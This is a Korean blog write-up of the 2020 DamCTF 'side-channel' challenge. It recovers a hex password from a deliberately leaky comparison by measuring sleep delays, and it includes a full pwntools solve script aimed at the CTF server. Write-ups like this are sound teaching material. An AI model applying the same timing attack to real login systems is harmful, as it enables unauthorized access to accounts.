tmxklab

2020 DamCTF - side-channel(misc) 본문

CTF 문제

2020 DamCTF - side-channel(misc)

tmxk4221 2020. 10. 15. 21:17

1. 문제확인

 

 

1) side-channel.py

1-1) main()

main함수에서 init_password()를 통해 password 8자리가 0 ~ f범위를 가진 랜덤 값으로 세팅되고 guess_password()가 두 번 실행된다.

 

 

1-2) guess_password()

password와 입력 값이랑 문자 1개씩 비교하고 결과가 같지 않으면 0.1 * password[i]의 인덱스 값만큼 sleep된다.

 


2. 문제 풀이

guess_password()가 두 번 실행되므로 처음 guess_password()에서는 sleep되는 시간을 통해서 password의 값을 유추한다. 그리고 시간 값을 통해서 password의 값을 유추한다.

몇 번 돌리고 나면 실제로 리모트에서는 0이면 0초, 1이면 0.1초 걸리는 것이 아니라 시간이 더 걸리는 것을 알 수 있다. 여튼 몇 번 돌리고 나면 대충 0.3초씩 차이가 나는 것을 확인할 수 있다.

 

 

시행착오)

중간에 sleep(1)을 주지 않고 계속 패킷을 보내다 보니 시간이 이상하게 나온 결과가 있었다. 따라서, 중간에 sleep(1)을 주고 하니 제대로 나왔다.

 

 

익스코드)

from pwn import *
import time

#context.log_level = "debug"

p = remote("chals.damctf.xyz", 30318)

get_list = []
new_list = []

def cal(cal_list):
    
    for data in cal_list:
        if data < 0.46:
            new_list.append(str(0))
        elif data < 0.76:
            new_list.append(str(1))
        elif data < 1.06:
            new_list.append(str(2))
        elif data < 1.36:
            new_list.append(str(3))
        elif data < 1.66:
            new_list.append(str(4))
        elif data < 1.96:
            new_list.append(str(5))
        elif data < 2.26:
            new_list.append(str(6))
        elif data < 2.55:
            new_list.append(str(7))
        elif data < 2.86:
            new_list.append(str(8))
        elif data < 3.16:
            new_list.append(str(9))
        elif data < 3.46:
            new_list.append('a')
        elif data < 3.77:
            new_list.append('b')
        elif data < 4.07:
            new_list.append('c')
        elif data < 4.3:
            new_list.append('d')
        elif data < 4.5:
            new_list.append('e')
        else:
            new_list.append('f')
    
    log.info("payload : ")
    log.info(new_list)
    

p.recvuntil("Trial 1\n")
sleep(1)

# 1. trial1 -> cal time taken
for idx in range(8):

    sleep(1)
    stime = time.time()
    p.sendlineafter("?\n", str(0))

    if idx < 7:
        if p.recvuntil("character"):
            taketime = time.time() - stime
    else:
        if p.recvuntil("Trial 2\n"):
            taketime = time.time() - stime

    get_list.append(round(taketime, 2))
    log.info("password["+str(idx)+"] : "+ str(round(taketime, 2)))


cal(get_list)

sleep(1)
for idx in range(8):

    sleep(1)
    p.sendlineafter("?\n", new_list[idx])

p.interactive()

 

실행 결과)

'CTF 문제' 카테고리의 다른 글

2021 DiceCTF - babymix(rev)  (0) 2021.02.09
2020 DamCTF - schlage(rev)  (0) 2020.10.15
2020 DamCTF - allokay(pwn)  (0) 2020.10.15
2020 DamCTF - ghostbusters(pwn)  (2) 2020.10.15
2020 DownUnderCTF - [misc] homepage  (0) 2020.09.21
Comments